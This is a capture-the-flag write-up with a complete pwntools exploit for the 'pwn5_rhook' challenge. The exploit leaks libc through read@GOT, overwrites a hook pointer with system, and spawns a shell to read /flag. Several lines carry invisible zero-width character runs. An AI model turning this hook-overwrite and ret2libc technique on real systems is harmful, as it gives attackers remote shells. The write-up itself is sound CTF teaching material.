← Back to Writeups
CUSTOMMediumpwn

pwn5_rhook

XESXOR9/2/20263 min read
#pwn#custom#medium#got_leak_via_arbitrary_read#hook_pointer_overwrite#ret2libc_system#write_what_where#linux

pwn5_rhook

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: got_leak_via_arbitrary_read, hook_pointer_overwrite, ret2libc_system, write_what_where

Summary

Task: NON-PIE x86-64 binary exposes an arbitrary read (write(1, addr, 8)), an 8-byte write-what-where (read(0, addr2, 8)), and a save_name routine that CALLs a global hook pointer with rdi = the name buffer; addresses are parsed with atoi (decimal). Solution: leak read@GOT to recover libc 2.31 base, overwrite the hook with system, then call save_name("/bin/sh") so the hook fires as system("/bin/sh").

pwn5_rhook — pwn_spbctf

Description

pwn5_rhook — category "www" (write-what-where), tier pwn5. Author: George Zaytsev (@groke). Remote: nc 109.233.56.90 11654 (pwn.spbctf.ru).

A NON-PIE x86-64 binary (rhook.elf) plus a libc.so.6 (glibc 2.31). The program hands you three powerful primitives in sequence and a global function pointer ("hook") that, when non-zero, gets called with rdi pointing at a buffer you control. Goal: pop a shell as ctf and read /flag.

Analysis

Protections: NON-PIE (base 0x400000), NX, Partial RELRO, stack canary, not stripped. Partial RELRO + NON-PIE means the GOT is at a fixed, writable address. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

main @0x400853 runs this flow:

  1. Arbitrary read / leak primitive. read_n(buf, 0x20); addr = atoi(buf); write(1, addr, 8) — it prints 8 bytes located at your address. Because atoi parses the input, the address must be supplied in decimal.
  2. Write-what-where. read_n(buf, 0x20); addr2 = atoi(buf); read(0, addr2, 8) — 8 attacker-chosen bytes are written to your address.
  3. Hook trigger. read_n(buf, 0x20); save_name(buf).

save_name @0x40081c: if the global save_name_hook @0x601090 is non-zero (it starts at 0), it does mov rdi, rdx; call rax, i.e. it calls the hook pointer with rdi = the name buffer. That is the whole game: a callable function pointer plus a buffer we choose for its first argument. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key fixed addresses:

  • read@GOT = 0x601040 → decimal 6295616
  • save_name_hook = 0x601090 → decimal 6296208

libc 2.31 offsets (verified from the provided libc.so.6):

  • read = 0x111130
  • system = 0x55410
  • /bin/sh = 0x1b75aa

Solution

  1. Leak libc via the arbitrary read. Send the decimal form of read@GOT (6295616). The program does write(1, 0x601040, 8), returning the resolved read libc address. Confirm leak & 0xfff == 0x130 (low 12 bits of read), then libc_base = leak - 0x111130.
  2. Overwrite the hook with system. Send the decimal form of save_name_hook (6296208) as addr2, then send p64(libc_base + 0x55410) as the 8 bytes — read(0, 0x601090, 8) plants system into the hook.
  3. Trigger. Send the name "/bin/sh". save_name sees a non-zero hook and executes system(rdi="/bin/sh") → shell as uid=1000(ctf). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

/flag is -rw-r--r-- (48 bytes) and readable by ctf.

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

HOST, PORT = '109.233.56.90', 11654
e = ELF('rhook.elf')
libc = ELF('libc.so.6')

READ_GOT = e.got['read']            # 0x601040 -> decimal 6295616
SAVE_NAME_HOOK = 0x601090           # decimal 6296208

def run():
    io = remote(HOST, PORT)

    # 1) ARBITRARY READ: leak read@got -> libc base (address in DECIMAL, atoi)
    io.recvline(timeout=5)  # consume prompt (best-effort)
    io.send(str(READ_GOT).encode().ljust(0x20, b'\x00'))
    leak = io.recv(8, timeout=10)
    leaked_read = u64(leak.ljust(8, b'\x00'))
    log.info('leaked read@libc = %#x', leaked_read)
    assert (leaked_read & 0xfff) == (libc.symbols['read'] & 0xfff), 'low12 mismatch'
    libc_base = leaked_read - libc.symbols['read']
    log.success('libc base = %#x', libc_base)
    system = libc_base + libc.symbols['system']   # +0x55410
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # 2) WRITE-WHAT-WHERE: hook = system
    io.recvline(timeout=5)
    io.send(str(SAVE_NAME_HOOK).encode().ljust(0x20, b'\x00'))
    io.recvline(timeout=5)
    io.send(p64(system))

    # 3) TRIGGER: save_name("/bin/sh") -> hook(rdi="/bin/sh") = system("/bin/sh")
    io.recvline(timeout=5)
    io.send(b'/bin/sh\x00')

    # Flaky socket shell: settle, use `head -c N; echo` instead of bare cat
    time.sleep(1.5)
    io.sendline(b'head -c 200 /flag; echo; id')
    time.sleep(2.5)
    data = io.recvrepeat(4)
    print(data.decode(errors='replace'))
    m = re.search(rb'spbctf\{[^}]*\}', data)
    if m:
        log.success('FLAG: %s', m.group().decode())
    io.close()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

run()

What failed (and the fix)

A bare cat /flag repeatedly returned empty output — a socket buffering / timing race right after the spawned dash came up. The reliable recipe was head -c 200 /flag; echo with a ~1.5 s settle before sending the command and a ~2.5 s recvrepeat window afterward. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍